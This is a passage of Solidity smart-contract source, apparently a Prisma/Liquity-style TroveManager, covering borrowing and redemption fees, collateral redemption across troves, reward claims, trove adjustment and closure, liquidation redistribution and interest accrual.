exceeds returned collateral\");\n return redemptionFee;\n }\n\n // --- Borrowing fee functions ---\n\n function getBorrowingRate() public view returns (uint256) {\n return _calcBorrowingRate(baseRate);\n }\n\n function getBorrowingRateWithDecay() public view returns (uint256) {\n return _calcBorrowingRate(_calcDecayedBaseRate());\n }\n\n function _calcBorrowingRate(uint256 _baseRate) internal view returns (uint256) {\n return PrismaMath._min(borrowingFeeFloor + _baseRate, maxBorrowingFee);\n }\n\n function getBorrowingFee(uint256 _debt) external view returns (uint256) {\n return _calcBorrowingFee(getBorrowingRate(), _debt);\n }\n\n function getBorrowingFeeWithDecay(uint256 _debt) external view returns (uint256) {\n return _calcBorrowingFee(getBorrowingRateWithDecay(), _debt);\n }\n\n function _calcBorrowingFee(uint256 _borrowingRate, uint256 _debt) internal pure returns (uint256) {\n return (_borrowingRate * _debt) / DECIMAL_PRECISION;\n }\n\n // --- Internal fee functions ---\n\n // Update the last fee operation time only if time passed >= decay interval. This prevents base rate griefing.\n function _updateLastFeeOpTime() internal {\n uint256 timePassed = block.timestamp - lastFeeOperationTime;\n\n if (timePassed >= SECONDS_IN_ONE_MINUTE) {\n lastFeeOperationTime = block.timestamp;\n emit LastFeeOpTimeUpdated(block.timestamp);\n }\n }\n\n function _calcDecayedBaseRate() internal view returns (uint256) {\n uint256 minutesPassed = (block.timestamp - lastFeeOperationTime) / SECONDS_IN_ONE_MINUTE;\n uint256 decayFactor = PrismaMath._decPow(minuteDecayFactor, minutesPassed);\n\n return (baseRate * decayFactor) / DECIMAL_PRECISION;\n }\n\n // --- Redemption functions ---\n\n /* Send _debtAmount debt to the system and redeem the corresponding amount of collateral from as many Troves as are needed to fill the redemption\n * request. Applies pending rewards to a Trove before reducing its debt and coll.\n *\n * Note that if _amount is very large, this function can run out of gas, specially if traversed troves are small. This can be easily avoided by\n * splitting the total _amount in appropriate chunks and calling the function multiple times.\n *\n * Param `_maxIterations` can also be provided, so the loop through Troves is capped (if it’s zero, it will be ignored).This makes it easier to\n * avoid OOG for the frontend, as only knowing approximately the average cost of an iteration is enough, without needing to know the “topology”\n * of the trove list. It also avoids the need to set the cap in stone in the contract, nor doing gas calculations, as both gas price and opcode\n * costs can vary.\n *\n * All Troves that are redeemed from -- with the likely exception of the last one -- will end up with no debt left, therefore they will be closed.\n * If the last Trove does have some remaining debt, it has a finite ICR, and the reinsertion could be anywhere in the list, therefore it requires a hint.\n * A frontend should use getRedemptionHints() to calculate what the ICR of this Trove will be after redemption, and pass a hint for its position\n * in the sortedTroves list along with the ICR value that the hint was found for.\n *\n * If another transaction modifies the list between calling getRedemptionHints() and passing the hints to redeemCollateral(), it\n * is very likely that the last (partially) redeemed Trove would end up with a different ICR than what the hint is for. In this case the\n * redemption will stop after the last completely redeemed Trove and the sender will keep the remaining debt amount, which they can attempt\n * to redeem later.\n */\n function redeemCollateral(\n uint256 _debtAmount,\n address _firstRedemptionHint,\n address _upperPartialRedemptionHint,\n address _lowerPartialRedemptionHint,\n uint256 _partialRedemptionHintNICR,\n uint256 _maxIterations,\n uint256 _maxFeePercentage\n ) external {\n ISortedTroves _sortedTrovesCached = sortedTroves;\n RedemptionTotals memory totals;\n\n require(\n _maxFeePercentage >= redemptionFeeFloor && _maxFeePercentage <= maxRedemptionFee,\n \"Max fee 0.5% to 100%\"\n );\n require(block.timestamp >= systemDeploymentTime + bootstrapPeriod, \"BOOTSTRAP_PERIOD\");\n totals.price = fetchPrice();\n uint256 _MCR = MCR;\n require(IBorrowerOperations(borrowerOperationsAddress).getTCR() >= _MCR, \"Cannot redeem when TCR < MCR\");\n require(_debtAmount > 0, \"Amount must be greater than zero\");\n\n _updateBalances();\n totals.totalDebtSupplyAtStart = getEntireSystemDebt();\n\n totals.remainingDebt = _debtAmount;\n address currentBorrower;\n\n if (_isValidFirstRedemptionHint(_sortedTrovesCached, _firstRedemptionHint, totals.price, _MCR)) {\n currentBorrower = _firstRedemptionHint;\n } else {\n currentBorrower = _sortedTrovesCached.getLast();\n // Find the first trove with ICR >= MCR\n while (currentBorrower != address(0) && getCurrentICR(currentBorrower, totals.price) < _MCR) {\n currentBorrower = _sortedTrovesCached.getPrev(currentBorrower);\n }\n }\n\n // Loop through the Troves starting from the one with lowest collateral ratio until _amount of debt is exchanged for collateral\n if (_maxIterations == 0 || _maxIterations > 100) {\n _maxIterations = 100;\n }\n totals.trovesRedeemed = new ReedemedTrove[](_maxIterations);\n totals.numberOfRedemptions = 0;\n while (currentBorrower != address(0) && totals.remainingDebt > 0 && _maxIterations > 0) {\n _maxIterations--;\n // Save the address of the Trove preceding the current one, before potentially modifying the list\n address nextUserToCheck = _sortedTrovesCached.getPrev(currentBorrower);\n\n _applyPendingRewards(currentBorrower);\n SingleRedemptionValues memory singleRedemption = _redeemCollateralFromTrove(\n _sortedTrovesCached,\n currentBorrower,\n totals.remainingDebt,\n totals.price,\n _upperPartialRedemptionHint,\n _lowerPartialRedemptionHint,\n _partialRedemptionHintNICR\n );\n if (singleRedemption.cancelledPartial) break; // Partial redemption was cancelled (out-of-date hint, or new net debt < minimum), therefore we could not redeem from the last Trove\n\n totals.trovesRedeemed[totals.numberOfRedemptions++] = ReedemedTrove(\n currentBorrower,\n singleRedemption.debtLot,\n singleRedemption.collateralLot\n );\n\n totals.totalDebtToRedeem = totals.totalDebtToRedeem + singleRedemption.debtLot;\n totals.totalCollateralDrawn = totals.totalCollateralDrawn + singleRedemption.collateralLot;\n\n totals.remainingDebt = totals.remainingDebt - singleRedemption.debtLot;\n currentBorrower = nextUserToCheck;\n }\n require(totals.totalCollateralDrawn > 0, \"Unable to redeem any amount\");\n\n // Decay the baseRate due to time passed, and then increase it according to the size of this redemption.\n // Use the saved total debt supply value, from before it was reduced by the redemption.\n _updateBaseRateFromRedemption(totals.totalCollateralDrawn, totals.price, totals.totalDebtSupplyAtStart);\n\n // Calculate the collateral fee\n totals.collateralFee = sunsetting ? 0 : _calcRedemptionFee(getRedemptionRate(), totals.totalCollateralDrawn);\n\n _requireUserAcceptsFee(totals.collateralFee, totals.totalCollateralDrawn, _maxFeePercentage);\n uint256 userRebate = (redemptionFeesRebate * totals.collateralFee) / 10000;\n\n uint256 _numberOfRedemptions = totals.numberOfRedemptions;\n if (userRebate > 0) {\n for (uint256 i; i < _numberOfRedemptions; ) {\n ReedemedTrove memory refund = totals.trovesRedeemed[i];\n surplusBalances[refund.account] += (userRebate * refund.collateralLot) / totals.totalCollateralDrawn;\n unchecked {\n ++i;\n }\n }\n }\n\n if (redemptionFeesRebate < 10000) {\n uint256 treasuryRebate = totals.collateralFee - userRebate;\n _sendCollateral(PRISMA_CORE.feeReceiver(), treasuryRebate);\n }\n\n emit Redemption(_debtAmount, totals.totalDebtToRedeem, totals.totalCollateralDrawn, totals.collateralFee);\n\n // Burn the total debt that is cancelled with debt, and send the redeemed collateral to msg.sender\n debtToken.burn(msg.sender, totals.totalDebtToRedeem);\n // Update Trove Manager debt, and send collateral to account\n totalActiveDebt = totalActiveDebt - totals.totalDebtToRedeem;\n _sendCollateral(msg.sender, totals.totalCollateralDrawn - totals.collateralFee);\n _resetState();\n if (address(_redemptionsCallback) != address(0)) {\n assembly {\n // Load array pointer value at slot 7 in the struct\n let trovesRedeemedLengthSlot := mload(add(totals, 0xe0))\n // Set array length in referenced location\n mstore(trovesRedeemedLengthSlot, _numberOfRedemptions)\n }\n _redemptionsCallback.onRedemptions(totals.trovesRedeemed);\n }\n }\n\n // Redeem as much collateral as possible from _borrower's Trove in exchange for debt up to _maxDebtAmount\n function _redeemCollateralFromTrove(\n ISortedTroves _sortedTrovesCached,\n address _borrower,\n uint256 _maxDebtAmount,\n uint256 _price,\n address _upperPartialRedemptionHint,\n address _lowerPartialRedemptionHint,\n uint256 _partialRedemptionHintNICR\n ) internal returns (SingleRedemptionValues memory singleRedemption) {\n Trove storage t = Troves[_borrower];\n // Determine the remaining amount (lot) to be redeemed, capped by the entire debt of the Trove minus the liquidation reserve\n singleRedemption.debtLot = PrismaMath._min(_maxDebtAmount, t.debt - DEBT_GAS_COMPENSATION);\n\n // Get the CollateralLot of equivalent value in USD\n singleRedemption.collateralLot = (singleRedemption.debtLot * DECIMAL_PRECISION) / _price;\n\n // Decrease the debt and collateral of the current Trove according to the debt lot and corresponding collateral to send\n uint256 newDebt = (t.debt) - singleRedemption.debtLot;\n uint256 newColl = (t.coll) - singleRedemption.collateralLot;\n\n if (newDebt == DEBT_GAS_COMPENSATION) {\n // No debt left in the Trove (except for the liquidation reserve), therefore the trove gets closed\n _removeStake(_borrower);\n _closeTrove(_borrower, Status.closedByRedemption);\n _redeemCloseTrove(_borrower, DEBT_GAS_COMPENSATION, newColl);\n emit TroveUpdated(_borrower, 0, 0, 0, TroveManagerOperation.redeemCollateral);\n } else {\n uint256 newNICR = PrismaMath._computeNominalCR(newColl, newDebt);\n /*\n * If the provided hint is out of date, we bail since trying to reinsert without a good hint will almost\n * certainly result in running out of gas.\n *\n * If the resultant net debt of the partial is less than the minimum, net debt we bail.\n */\n\n {\n // We check if the ICR hint is reasonable up to date, with continuous interest there might be slight differences (<1bps)\n uint256 icrError = _partialRedemptionHintNICR > newNICR\n ? _partialRedemptionHintNICR - newNICR\n : newNICR - _partialRedemptionHintNICR;\n if (\n icrError > 5e14 ||\n _getNetDebt(newDebt) < IBorrowerOperations(borrowerOperationsAddress).minNetDebt()\n ) {\n singleRedemption.cancelledPartial = true;\n return singleRedemption;\n }\n }\n\n _sortedTrovesCached.reInsert(_borrower, newNICR, _upperPartialRedemptionHint, _lowerPartialRedemptionHint);\n\n t.debt = newDebt;\n t.coll = newColl;\n _updateStakeAndTotalStakes(t);\n\n emit TroveUpdated(_borrower, newDebt, newColl, t.stake, TroveManagerOperation.redeemCollateral);\n }\n\n return singleRedemption;\n }\n\n /*\n * Called when a full redemption occurs, and closes the trove.\n * The redeemer swaps (debt - liquidation reserve) debt for (debt - liquidation reserve) worth of collateral, so the debt liquidation reserve left corresponds to the remaining debt.\n * In order to close the trove, the debt liquidation reserve is burned, and the corresponding debt is removed.\n * The debt recorded on the trove's struct is zero'd elswhere, in _closeTrove.\n * Any surplus collateral left in the trove can be later claimed by the borrower.\n */\n function _redeemCloseTrove(address _borrower, uint256 _debt, uint256 _collateral) internal {\n debtToken.burn(gasPoolAddress, _debt);\n totalActiveDebt = totalActiveDebt - _debt;\n\n surplusBalances[_borrower] += _collateral;\n totalActiveCollateral -= _collateral;\n }\n\n function _isValidFirstRedemptionHint(\n ISortedTroves _sortedTroves,\n address _firstRedemptionHint,\n uint256 _price,\n uint256 _MCR\n ) internal view returns (bool) {\n if (\n _firstRedemptionHint == address(0) ||\n !_sortedTroves.contains(_firstRedemptionHint) ||\n getCurrentICR(_firstRedemptionHint, _price) < _MCR\n ) {\n return false;\n }\n\n address nextTrove = _sortedTroves.getNext(_firstRedemptionHint);\n return nextTrove == address(0) || getCurrentICR(nextTrove, _price) < _MCR;\n }\n\n /**\n * Claim remaining collateral from a redemption or from a liquidation with ICR > MCR in Recovery Mode\n */\n function claimCollateral(address _receiver) external {\n uint256 claimableColl = surplusBalances[msg.sender];\n require(claimableColl > 0, \"No collateral available to claim\");\n\n surplusBalances[msg.sender] = 0;\n\n collateralToken.safeTransfer(_receiver, claimableColl);\n }\n\n // --- Reward Claim functions ---\n\n function claimReward(address receiver) external returns (uint256) {\n uint256 amount = _claimReward(msg.sender);\n\n if (amount > 0) {\n vault.transferAllocatedTokens(msg.sender, receiver, amount);\n }\n emit RewardClaimed(msg.sender, receiver, amount);\n return amount;\n }\n\n function vaultClaimReward(address claimant, address) external returns (uint256) {\n require(msg.sender == address(vault));\n\n return _claimReward(claimant);\n }\n\n function _claimReward(address account) internal returns (uint256) {\n require(emissionId.debt > 0, \"Rewards not active\");\n // update active debt rewards\n _applyPendingRewards(account);\n uint256 amount = storedPendingReward[account];\n if (amount > 0) storedPendingReward[account] = 0;\n\n // add pending mint awards\n uint256 mintAmount = _getPendingMintReward(account);\n if (mintAmount > 0) {\n amount += mintAmount;\n delete accountLatestMint[account];\n }\n\n return amount;\n }\n\n function claimableReward(address account) external view returns (uint256) {\n // previously calculated rewards\n uint256 amount = storedPendingReward[account];\n\n // pending active debt rewards\n uint256 updated = periodFinish;\n if (updated > block.timestamp) updated = block.timestamp;\n uint256 duration = updated - lastUpdate;\n uint256 integral = rewardIntegral;\n if (duration > 0) {\n uint256 supply = totalActiveDebt;\n if (supply > 0) {\n integral += (duration * rewardRate * 1e18) / supply;\n }\n }\n uint256 integralFor = rewardIntegralFor[account];\n\n if (integral > integralFor) {\n amount += (Troves[account].debt * (integral - integralFor)) / 1e18;\n }\n\n // pending mint rewards\n amount += _getPendingMintReward(account);\n\n return amount;\n }\n\n function _getPendingMintReward(address account) internal view returns (uint256 amount) {\n VolumeData memory data = accountLatestMint[account];\n if (data.amount > 0) {\n (uint256 week, uint256 day) = getWeekAndDay();\n if (data.day != day || data.week != week) {\n return (dailyMintReward[data.week] * data.amount) / totalMints[data.week][data.day];\n }\n }\n }\n\n function _updateIntegrals(address account, uint256 balance, uint256 supply) internal {\n uint256 integral = _updateRewardIntegral(supply);\n _updateIntegralForAccount(account, balance, integral);\n }\n\n function _updateIntegralForAccount(address account, uint256 balance, uint256 currentIntegral) internal {\n uint256 integralFor = rewardIntegralFor[account];\n\n if (currentIntegral > integralFor) {\n storedPendingReward[account] += (balance * (currentIntegral - integralFor)) / 1e18;\n rewardIntegralFor[account] = currentIntegral;\n }\n }\n\n function _updateRewardIntegral(uint256 supply) internal returns (uint256 integral) {\n uint256 _periodFinish = periodFinish;\n uint256 updated = _periodFinish;\n if (updated > block.timestamp) updated = block.timestamp;\n uint256 duration = updated - lastUpdate;\n integral = rewardIntegral;\n if (duration > 0) {\n lastUpdate = uint32(updated);\n if (supply > 0) {\n integral += (duration * rewardRate * 1e18) / supply;\n rewardIntegral = integral;\n }\n }\n _fetchRewards(_periodFinish);\n\n return integral;\n }\n\n function _fetchRewards(uint256 _periodFinish) internal {\n EmissionId memory id = emissionId;\n if (id.debt == 0) return;\n uint256 currentWeek = getWeek();\n if (currentWeek < (_periodFinish - startTime) / 1 weeks) return;\n uint256 previousWeek = (_periodFinish - startTime) / 1 weeks - 1;\n\n // active debt rewards\n uint256 amount = vault.allocateNewEmissions(id.debt);\n if (block.timestamp < _periodFinish) {\n uint256 remaining = _periodFinish - block.timestamp;\n amount += remaining * rewardRate;\n }\n rewardRate = uint128(amount / REWARD_DURATION);\n lastUpdate = uint32(block.timestamp);\n periodFinish = uint32(block.timestamp + REWARD_DURATION);\n\n // minting rewards\n amount = vault.allocateNewEmissions(id.minting);\n uint256 reward = dailyMintReward[previousWeek];\n if (reward > 0) {\n uint32[7] memory totals = totalMints[previousWeek];\n for (uint256 i = 0; i < 7; i++) {\n if (totals[i] == 0) {\n amount += reward;\n }\n }\n }\n dailyMintReward[currentWeek] = amount / 7;\n }\n\n // --- Trove Adjustment functions ---\n\n function openTrove(\n address _borrower,\n uint256 _collateralAmount,\n uint256 _compositeDebt,\n uint256 NICR,\n address _upperHint,\n address _lowerHint,\n bool _isRecoveryMode\n ) external whenNotPaused returns (uint256 stake, uint256 arrayIndex) {\n _requireCallerIsBO();\n require(!sunsetting, \"Cannot open while sunsetting\");\n uint256 supply = totalActiveDebt;\n\n Trove storage t = Troves[_borrower];\n require(t.status != Status.active, \"BorrowerOps: Trove is active\");\n t.status = Status.active;\n t.coll = _collateralAmount;\n t.debt = _compositeDebt;\n uint256 currentInterestIndex = _accrueActiveInterests();\n t.activeInterestIndex = currentInterestIndex;\n _updateTroveRewardSnapshots(_borrower);\n stake = _updateStakeAndTotalStakes(t);\n sortedTroves.insert(_borrower, NICR, _upperHint, _lowerHint);\n\n TroveOwners.push(_borrower);\n arrayIndex = TroveOwners.length - 1;\n t.arrayIndex = uint128(arrayIndex);\n\n _updateIntegrals(_borrower, 0, supply);\n if (!_isRecoveryMode) _updateMintVolume(_borrower, _compositeDebt);\n\n totalActiveCollateral = totalActiveCollateral + _collateralAmount;\n uint256 _newTotalDebt = totalActiveDebt + _compositeDebt;\n require(_newTotalDebt + defaultedDebt <= maxSystemDebt, \"Collateral debt limit reached\");\n totalActiveDebt = _newTotalDebt;\n emit TroveUpdated(_borrower, _compositeDebt, _collateralAmount, stake, TroveManagerOperation.open);\n }\n\n function updateTroveFromAdjustment(\n bool _isRecoveryMode,\n bool _isDebtIncrease,\n uint256 _debtChange,\n uint256 _netDebtChange,\n bool _isCollIncrease,\n uint256 _collChange,\n address _upperHint,\n address _lowerHint,\n address _borrower,\n address _receiver\n ) external returns (uint256, uint256, uint256) {\n _requireCallerIsBO();\n if (_isCollIncrease || _isDebtIncrease) {\n require(!paused, \"Collateral Paused\");\n require(!sunsetting, \"Cannot increase while sunsetting\");\n }\n\n Trove storage t = Troves[_borrower];\n require(t.status == Status.active, \"Trove closed or does not exist\");\n\n uint256 newDebt = t.debt;\n if (_debtChange > 0) {\n if (_isDebtIncrease) {\n newDebt = newDebt + _netDebtChange;\n if (!_isRecoveryMode) _updateMintVolume(_borrower, _netDebtChange);\n _increaseDebt(_receiver, _netDebtChange, _debtChange);\n } else {\n newDebt = newDebt - _netDebtChange;\n _decreaseDebt(_receiver, _debtChange);\n }\n t.debt = newDebt;\n }\n\n uint256 newColl = t.coll;\n if (_collChange > 0) {\n if (_isCollIncrease) {\n newColl = newColl + _collChange;\n totalActiveCollateral = totalActiveCollateral + _collChange;\n // trust that BorrowerOperations sent the collateral\n } else {\n newColl = newColl - _collChange;\n _sendCollateral(_receiver, _collChange);\n }\n t.coll = newColl;\n }\n\n uint256 newNICR = PrismaMath._computeNominalCR(newColl, newDebt);\n sortedTroves.reInsert(_borrower, newNICR, _upperHint, _lowerHint);\n uint256 newStake = _updateStakeAndTotalStakes(t);\n emit TroveUpdated(_borrower, newDebt, newColl, newStake, TroveManagerOperation.adjust);\n\n return (newColl, newDebt, newStake);\n }\n\n function closeTrove(address _borrower, address _receiver, uint256 collAmount, uint256 debtAmount) external {\n _requireCallerIsBO();\n require(Troves[_borrower].status == Status.active, \"Trove closed or does not exist\");\n _removeStake(_borrower);\n _closeTrove(_borrower, Status.closedByOwner);\n if (TroveOwners.length > 0) {\n totalActiveDebt = totalActiveDebt - debtAmount;\n } else {\n // Account for dust discrepancies due to interest sampling\n totalActiveDebt = 0;\n }\n _sendCollateral(_receiver, collAmount);\n _resetState();\n emit TroveUpdated(_borrower, 0, 0, 0, TroveManagerOperation.close);\n }\n\n /**\n @dev Only called from `closeTrove` because liquidating the final trove is blocked in\n `LiquidationManager`. Many liquidation paths involve redistributing debt and\n collateral to existing troves. If the collateral is being sunset, the final trove\n must be closed by repaying the debt or via a redemption.\n */\n function _resetState() private {\n if (TroveOwners.length == 0) {\n activeInterestIndex = INTEREST_PRECISION;\n lastActiveIndexUpdate = block.timestamp;\n totalStakes = 0;\n totalStakesSnapshot = 0;\n totalCollateralSnapshot = 0;\n L_collateral = 0;\n L_debt = 0;\n lastCollateralError_Redistribution = 0;\n lastDebtError_Redistribution = 0;\n totalActiveCollateral = 0;\n totalActiveDebt = 0;\n defaultedCollateral = 0;\n defaultedDebt = 0;\n }\n }\n\n function _closeTrove(address _borrower, Status closedStatus) internal {\n uint256 TroveOwnersArrayLength = TroveOwners.length;\n\n Trove storage t = Troves[_borrower];\n t.status = closedStatus;\n t.coll = 0;\n t.debt = 0;\n t.activeInterestIndex = 0;\n ISortedTroves sortedTrovesCached = sortedTroves;\n rewardSnapshots[_borrower].collateral = 0;\n rewardSnapshots[_borrower].debt = 0;\n if (TroveOwnersArrayLength > 1 && sortedTrovesCached.getSize() > 1) {\n // remove trove owner from the TroveOwners array, not preserving array order\n uint128 index = t.arrayIndex;\n address addressToMove = TroveOwners[TroveOwnersArrayLength - 1];\n TroveOwners[index] = addressToMove;\n Troves[addressToMove].arrayIndex = index;\n emit TroveIndexUpdated(addressToMove, index);\n }\n\n TroveOwners.pop();\n\n sortedTrovesCached.remove(_borrower);\n t.arrayIndex = 0;\n }\n\n function _updateMintVolume(address account, uint256 initialAmount) internal {\n uint32 amount = uint32(initialAmount / VOLUME_MULTIPLIER);\n (uint256 week, uint256 day) = getWeekAndDay();\n totalMints[week][day] += amount;\n\n VolumeData memory data = accountLatestMint[account];\n if (data.day == day && data.week == week) {\n // if the caller made a previous redemption today, we only increase their redeemed amount\n accountLatestMint[account].amount = data.amount + amount;\n } else {\n if (data.amount > 0) {\n // if the caller made a previous redemption on a different day,\n // calculate the emissions earned for that redemption\n uint256 pending = (dailyMintReward[data.week] * data.amount) / totalMints[data.week][data.day];\n storedPendingReward[account] += pending;\n }\n accountLatestMint[account] = VolumeData({ week: uint32(week), day: uint32(day), amount: amount });\n }\n }\n\n // Updates the baseRate state variable based on time elapsed since the last redemption or debt borrowing operation.\n function decayBaseRateAndGetBorrowingFee(uint256 _debt) external returns (uint256) {\n _requireCallerIsBO();\n uint256 rate = _decayBaseRate();\n\n return _calcBorrowingFee(_calcBorrowingRate(rate), _debt);\n }\n\n function _decayBaseRate() internal returns (uint256) {\n uint256 decayedBaseRate = _calcDecayedBaseRate();\n\n baseRate = decayedBaseRate;\n emit BaseRateUpdated(decayedBaseRate);\n\n _updateLastFeeOpTime();\n\n return decayedBaseRate;\n }\n\n function applyPendingRewards(address _borrower) external returns (uint256 coll, uint256 debt) {\n _requireCallerIsBO();\n return _applyPendingRewards(_borrower);\n }\n\n // Add the borrowers's coll and debt rewards earned from redistributions, to their Trove\n function _applyPendingRewards(address _borrower) internal returns (uint256 coll, uint256 debt) {\n Trove storage t = Troves[_borrower];\n if (t.status == Status.active) {\n uint256 troveInterestIndex = t.activeInterestIndex;\n uint256 supply = totalActiveDebt;\n uint256 currentInterestIndex = _accrueActiveInterests();\n debt = t.debt;\n uint256 prevDebt = debt;\n coll = t.coll;\n // We accrued interests for this trove if not already updated\n if (troveInterestIndex < currentInterestIndex) {\n debt = (debt * currentInterestIndex) / troveInterestIndex;\n t.activeInterestIndex = currentInterestIndex;\n }\n\n if (rewardSnapshots[_borrower].collateral < L_collateral) {\n // Compute pending rewards\n (uint256 pendingCollateralReward, uint256 pendingDebtReward) = getPendingCollAndDebtRewards(_borrower);\n\n // Apply pending rewards to trove's state\n coll = coll + pendingCollateralReward;\n t.coll = coll;\n debt = debt + pendingDebtReward;\n\n _updateTroveRewardSnapshots(_borrower);\n\n _movePendingTroveRewardsToActiveBalance(pendingDebtReward, pendingCollateralReward);\n }\n if (prevDebt != debt) {\n t.debt = debt;\n }\n _updateIntegrals(_borrower, prevDebt, supply);\n }\n return (coll, debt);\n }\n\n function _updateTroveRewardSnapshots(address _borrower) internal {\n uint256 L_collateralCached = L_collateral;\n uint256 L_debtCached = L_debt;\n rewardSnapshots[_borrower] = RewardSnapshot(L_collateralCached, L_debtCached);\n emit TroveSnapshotsUpdated(L_collateralCached, L_debtCached);\n }\n\n // Remove borrower's stake from the totalStakes sum, and set their stake to 0\n function _removeStake(address _borrower) internal {\n uint256 stake = Troves[_borrower].stake;\n totalStakes = totalStakes - stake;\n Troves[_borrower].stake = 0;\n }\n\n // Update borrower's stake based on their latest collateral value\n function _updateStakeAndTotalStakes(Trove storage t) internal returns (uint256) {\n uint256 newStake = _computeNewStake(t.coll);\n uint256 oldStake = t.stake;\n t.stake = newStake;\n uint256 newTotalStakes = totalStakes - oldStake + newStake;\n totalStakes = newTotalStakes;\n emit TotalStakesUpdated(newTotalStakes);\n\n return newStake;\n }\n\n // Calculate a new stake based on the snapshots of the totalStakes and totalCollateral taken at the last liquidation\n function _computeNewStake(uint256 _coll) internal view returns (uint256) {\n uint256 stake;\n uint256 totalCollateralSnapshotCached = totalCollateralSnapshot;\n if (totalCollateralSnapshotCached == 0) {\n stake = _coll;\n } else {\n /*\n * The following assert() holds true because:\n * - The system always contains >= 1 trove\n * - When we close or liquidate a trove, we redistribute the pending rewards, so if all troves were closed/liquidated,\n * rewards would’ve been emptied and totalCollateralSnapshot would be zero too.\n */\n uint256 totalStakesSnapshotCached = totalStakesSnapshot;\n assert(totalStakesSnapshotCached > 0);\n stake = (_coll * totalStakesSnapshotCached) / totalCollateralSnapshotCached;\n }\n return stake;\n }\n\n // --- Liquidation Functions ---\n\n function closeTroveByLiquidation(address _borrower) external {\n _requireCallerIsLM();\n uint256 debtBefore = Troves[_borrower].debt;\n _removeStake(_borrower);\n _closeTrove(_borrower, Status.closedByLiquidation);\n _updateIntegralForAccount(_borrower, debtBefore, rewardIntegral);\n emit TroveUpdated(_borrower, 0, 0, 0, TroveManagerOperation.liquidate);\n }\n\n function movePendingTroveRewardsToActiveBalances(uint256 _debt, uint256 _collateral) external {\n _requireCallerIsLM();\n _movePendingTroveRewardsToActiveBalance(_debt, _collateral);\n }\n\n function _movePendingTroveRewardsToActiveBalance(uint256 _debt, uint256 _collateral) internal {\n defaultedDebt -= _debt;\n totalActiveDebt += _debt;\n defaultedCollateral -= _collateral;\n totalActiveCollateral += _collateral;\n }\n\n function addCollateralSurplus(address borrower, uint256 collSurplus) external {\n _requireCallerIsLM();\n surplusBalances[borrower] += collSurplus;\n }\n\n function finalizeLiquidation(\n address _liquidator,\n uint256 _debt,\n uint256 _coll,\n uint256 _collSurplus,\n uint256 _debtGasComp,\n uint256 _collGasComp\n ) external {\n _requireCallerIsLM();\n // redistribute debt and collateral\n _redistributeDebtAndColl(_debt, _coll);\n\n uint256 _activeColl = totalActiveCollateral;\n if (_collSurplus > 0) {\n _activeColl -= _collSurplus;\n totalActiveCollateral = _activeColl;\n }\n\n // update system snapshos\n totalStakesSnapshot = totalStakes;\n totalCollateralSnapshot = _activeColl - _collGasComp + defaultedCollateral;\n emit SystemSnapshotsUpdated(totalStakesSnapshot, totalCollateralSnapshot);\n\n // send gas compensation\n debtToken.returnFromPool(gasPoolAddress, _liquidator, _debtGasComp);\n _sendCollateral(_liquidator, _collGasComp);\n }\n\n function _redistributeDebtAndColl(uint256 _debt, uint256 _coll) internal {\n if (_debt == 0) {\n return;\n }\n /*\n * Add distributed coll and debt rewards-per-unit-staked to the running totals. Division uses a \"feedback\"\n * error correction, to keep the cumulative error low in the running totals L_collateral and L_debt:\n *\n * 1) Form numerators which compensate for the floor division errors that occurred the last time this\n * function was called.\n * 2) Calculate \"per-unit-staked\" ratios.\n * 3) Multiply each ratio back by its denominator, to reveal the current floor division error.\n * 4) Store these errors for use in the next correction when this function is called.\n * 5) Note: static analysis tools complain about this \"division before multiplication\", however, it is intended.\n */\n uint256 collateralNumerator = (_coll * DECIMAL_PRECISION) + lastCollateralError_Redistribution;\n uint256 debtNumerator = (_debt * DECIMAL_PRECISION) + lastDebtError_Redistribution;\n uint256 totalStakesCached = totalStakes;\n // Get the per-unit-staked terms\n uint256 collateralRewardPerUnitStaked = collateralNumerator / totalStakesCached;\n uint256 debtRewardPerUnitStaked = debtNumerator / totalStakesCached;\n\n lastCollateralError_Redistribution = collateralNumerator - (collateralRewardPerUnitStaked * totalStakesCached);\n lastDebtError_Redistribution = debtNumerator - (debtRewardPerUnitStaked * totalStakesCached);\n\n // Add per-unit-staked terms to the running totals\n uint256 new_L_collateral = L_collateral + collateralRewardPerUnitStaked;\n uint256 new_L_debt = L_debt + debtRewardPerUnitStaked;\n L_collateral = new_L_collateral;\n L_debt = new_L_debt;\n\n emit LTermsUpdated(new_L_collateral, new_L_debt);\n\n totalActiveDebt -= _debt;\n defaultedDebt += _debt;\n defaultedCollateral += _coll;\n totalActiveCollateral -= _coll;\n }\n\n // --- Trove property setters ---\n\n function _sendCollateral(address _account, uint256 _amount) private {\n if (_amount > 0) {\n totalActiveCollateral = totalActiveCollateral - _amount;\n emit CollateralSent(_account, _amount);\n\n collateralToken.safeTransfer(_account, _amount);\n }\n }\n\n function _increaseDebt(address account, uint256 netDebtAmount, uint256 debtAmount) internal {\n uint256 _newTotalDebt = totalActiveDebt + netDebtAmount;\n require(_newTotalDebt + defaultedDebt <= maxSystemDebt, \"Collateral debt limit reached\");\n totalActiveDebt = _newTotalDebt;\n debtToken.mint(account, debtAmount);\n }\n\n function decreaseDebtAndSendCollateral(address account, uint256 debt, uint256 coll) external {\n _requireCallerIsLM();\n _decreaseDebt(account, debt);\n _sendCollateral(account, coll);\n }\n\n function _decreaseDebt(address account, uint256 amount) internal {\n debtToken.burn(account, amount);\n totalActiveDebt = totalActiveDebt - amount;\n }\n\n // --- Balances and interest ---\n\n function updateBalances() external {\n _requireCallerIsLM();\n _updateBalances();\n }\n\n function _updateBalances() private {\n _updateRewardIntegral(totalActiveDebt);\n _accrueActiveInterests();\n }\n\n // This function must be called any time the debt or the interest changes\n function _accrueActiveInterests() internal returns (uint256) {\n (uint256 currentInterestIndex, uint256 interestFactor) = _calculateInterestIndex();\n if (interestFactor > 0) {\n uint256 currentDebt = totalActiveDebt;\n uint256 activeInterests = Math.mulDiv(currentDebt, interestFactor, INTEREST_PRECISION);\n totalActiveDebt = currentDebt + activeInterests;\n interestPayable = interestPayable + activeInterests;\n activeInterestIndex = currentInterestIndex;\n lastActiveIndexUpdate = block.timestamp;\n }\n return currentInterestIndex;\n }\n\n function _calculateInterestIndex() internal view returns (uint256 currentInterestIndex, uint256 interestFactor) {\n uint256 lastIndexUpdateCached = lastActiveIndexUpdate;\n // Short circuit if we updated in the current block\n if (lastIndexUpdateCached == block.timestamp) return (activeInterestIndex, 0);\n uint256 currentInterest = interestRate;\n currentInterestIndex = activeInterestIndex; // we need to return this if it's already up to date\n if (currentInterest > 0) {\n /*\n * Calculate the interest accumulated and the new index:\n * We compound the index and increase the debt accordingly\n */\n interestFactor = (block.timestamp - lastIndexUpdateCached) * currentInterest;\n currentInterestIndex =\n currentInterestIndex +\n 